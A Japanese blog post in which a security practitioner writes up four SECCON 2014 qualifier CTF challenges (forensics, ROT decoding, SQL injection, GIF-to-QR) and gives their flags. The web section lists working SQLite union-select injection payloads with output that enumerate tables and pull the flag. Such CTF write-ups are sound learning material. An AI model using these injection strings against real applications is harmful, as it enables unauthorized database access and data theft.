せきゅはら。

正直若いとはいえないネットワークセキュリティ担当者がゆるゆると書いていく駄文です:)

SECCON 2014 オンライン予選(日本語)

7/19、頑張りました。
700点獲得で本戦行き切符には届かなかったですが、人権は確保できたのかな、と。

o自分が関わって解けた問題

 ・フォレンジック 100(879,394bytes)
   SECCON 2013 九州予選の時にも似たような問題が出ましたね。
   んで、Windows系のFAT16/32だろうと推定。
   最初は010EditorでTemplate適用してまともに解こうかと思ったけど、
   ファイル名エントリらしきものを抜き出して、あとはブルートフォースアタックを。
   > Chrysanthemum.jpg
   →んで正解。

 ・暗号 100(decode me)
   まずは英字部分がROT-13されていることはすぐに発見。
   若手メンバがググるさんを駆使して、nfkコマンドのrot13/47で2バイト文字もROTされる
   2chスレにたどり着いたんで、手元のCentOS6VMで"nkf -r"実行。
   > フラグは半角英数文字に変換してから入力してください。
   > FLAG{Have fun SECCON2014}
   →んで正解。

 ・Web 100(箱庭SQLiチャレンジ)
   インジェクションの基本としてあれこれ。
   「+4」でもちゃんと4として処理するし、「"」でもエラーはでない。
   まー、union selectで解くんだろうねと思ったが、DBMSの種類がわからないことには。
   一式に入ってたDB.dllに着目し、stringsで文字列抽出すると以下の文字列ががが。
    > sqlite_compileoption_get
    > sqlite_compileoption_used
    > sqlite_log
    > sqlite_source_id
    > sqlite_version
   SQLiteだ!
   あとは、テーブル管理用のテーブル→該当テーブル→カラム名の順番に攻めていく。
   「' union select 1,"b",3,"d",5 from sqlite_master;--」
    →「ID=1 NAME=b AGE=3 ADDRESS=d SALARY=5」
   「' union select 1,tbl_name,3,"d",5 from sqlite_master where type='table';--」
    →「ID=1 NAME=COMPANY AGE=3 ADDRESS=d SALARY=5 ID=1 NAME=SECCON AGE=3 ADDRESS=d SALARY=5」
   「' union select 1,sql,3,"d",5 from sqlite_master where type='table' and tbl_name='SECCON';--」
    →「ID=1 NAME=CREATE TABLE SECCON(FLAG TEXT NOT NULL) AGE=3 ADDRESS=d SALARY=5」
   「' union select 1,FLAG,3,"d",5 from SECCON;--」
    →「ID=1 NAME=FLAG{EnjoySQLi} AGE=3 ADDRESS=d SALARY=5」    正解。

 ・プログラミング 100(重ねてみよう)
   『アニメーションGIFを見たらバラセ』
   akictf#8ではバラした画像を縦につなぎ合わせましたが、今回はタイトルの通り重ね合わせで。
   # Superpositionってやつですne
   全部で49フレーム、どう進むにしてもGIFをフレーム分解する必要があるってことで、Webサービスにかけて分解する。
   で、初めは「GIF→ICONにして136x136のビット列にしてOR取れば」とも思ったんだけど、枚数が少ないこともあり、
   PGM書くより、全部白黒反転させてレイヤー化しちゃえばいいじゃんってことでコツコツ手作業します。
  具体的には、
   a. 1枚gimpで開く
   b. 明度反転
   c. レイヤー機能でアルファチャンネルを追加
   d. 色域を選択する機能で白い部分を選択
   e. 切り取り    f. 別名保存(ここまで30秒程度、49回繰り返し)
   g. 最初の1枚をgimpで開く
   h. 残り48枚をg.にドラッグする→49枚のレイヤーを持った画像になる
   i. 全レイヤーを統合
   j. 別名保存
  ときて、最後にスマホQRコードを読んでおしまい。
  FLAG{Many dot makes a QR code}で正解。

長くなったので、「自分で解いてない問題」「自分でチャレンジしたけど解けなかった問題」は別エントリーで。